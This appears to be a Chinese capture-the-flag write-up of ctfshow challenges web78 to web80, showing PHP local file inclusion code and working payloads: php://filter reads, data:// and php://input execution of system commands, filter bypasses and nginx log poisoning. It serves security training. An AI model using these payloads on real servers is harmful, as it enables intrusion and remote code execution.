ctfshow-web文件包含(web78-web86)

ctfshow-web文件包含

web78

复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 10:52:43
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

由include代码执行file引入文件,如果执行不成功,就高亮显示源码

可知这就是一个没有任何过滤的文件包含的题目

方法一filter伪协议

file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。

filter伪协议构造payload

复制代码
?file=php://filter/read=convert.base64-encode/resource=flag.php

得到base编码后的flag解密得到flag

复制代码
ctfshow{d03c9148-23af-48a1-92e1-ad011f98d415}
方法二:input协议

php://input 是 PHP 提供的一个伪协议,允许开发者 访问 POST 请求的原始内容。对于 POST 请求数据,PHP 提供了 _POST 与 FILES 超全局变量,在客户端发起 POST 请求时,PHP 将自动处理 POST 提交的数据并将处理结果存放至 _POST 与 FILES 中

复制代码
<?php system('ls');?>
方法三:data协议

data也是利用文件包含漏洞,将输入的代码当作php文件执行。

data协议格式:

复制代码
data://[<MIME-type>][;charset=<encoding>][;base64],<data>

构造payload:

复制代码
?file=data://text/plain,<?php system('tac f*');?>

将我们输入的当作php文件来执行,以达到读取flag的目的。

web79

复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:10:14
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

发现过滤了php小问题

data协议
复制代码
data://text/plain

使用到<?php ?>可以用<?= ?>代替

flag.php可以用*?代替部分字符

或是直接使用base64编码

复制代码
?file=data://text/plain,<?= system("tac fla*") ?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg==

PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg==等于<?php system('cat flag.php');
复制代码
ctfshow{e37fa4f8-13aa-40d3-a57e-dd2af3f4030e}
php://input

php用大小写绕过

复制代码
?file=Php://input
post:
<?php system('tac flag.php'); ?>

当你使用hackbar的时候,请使用raw模式发送post请求,否则服务端无法接收到post里的内容。

日志包含
复制代码
?file=/var/log/nginx/access.log

user-agent里写上

复制代码
<?php system('ls'); ?>
<?php system('tac fl0g.php'); ?>

web80

复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

解释

复制代码
首先,代码使用isset()函数检查是否存在名为'file'的GET参数。如果存在,代码将获取该参数的值并赋给变量$file。

然后,代码使用str_replace()函数对file变量进行两次替换操作。第一次替换将file变量进行两次替换操作。第一次替换将file中的php字符串替换为???,第二次替换将file中的data字符串替换为???。

最后,代码使用include()函数来包含$file变量所代表的文件。

发现是nginx服务器所以我们尝试访问这个

日志

复制代码
/var/log/nginx/access.log
相关推荐
我是Superman丶2 小时前
Element UI 表格某行突出悬浮效果
前端·javascript·vue.js
恋猫de小郭2 小时前
你的代理归我了:AI 大模型恶意中间人攻击,钱包都被转走了
前端·人工智能·ai编程
xiaokuangren_3 小时前
前端css颜色
前端·css
hoiii1873 小时前
C# 基于 LumiSoft 实现 SIP 客户端方案
前端·c#
anOnion3 小时前
构建无障碍组件之Meter Pattern
前端·html·交互设计
小码哥_常4 小时前
Spring Boot配置diff:解锁配置管理新姿势
前端
小码哥_常4 小时前
告别onActivityResult!Android数据回传的3大痛点与终极解决方案
前端
hhcccchh4 小时前
1.2 CSS 基础选择器、盒模型、flex 布局、grid 布局
前端·css·css3
专吃海绵宝宝菠萝屋的派大星5 小时前
使用Dify对接自己开发的mcp
java·服务器·前端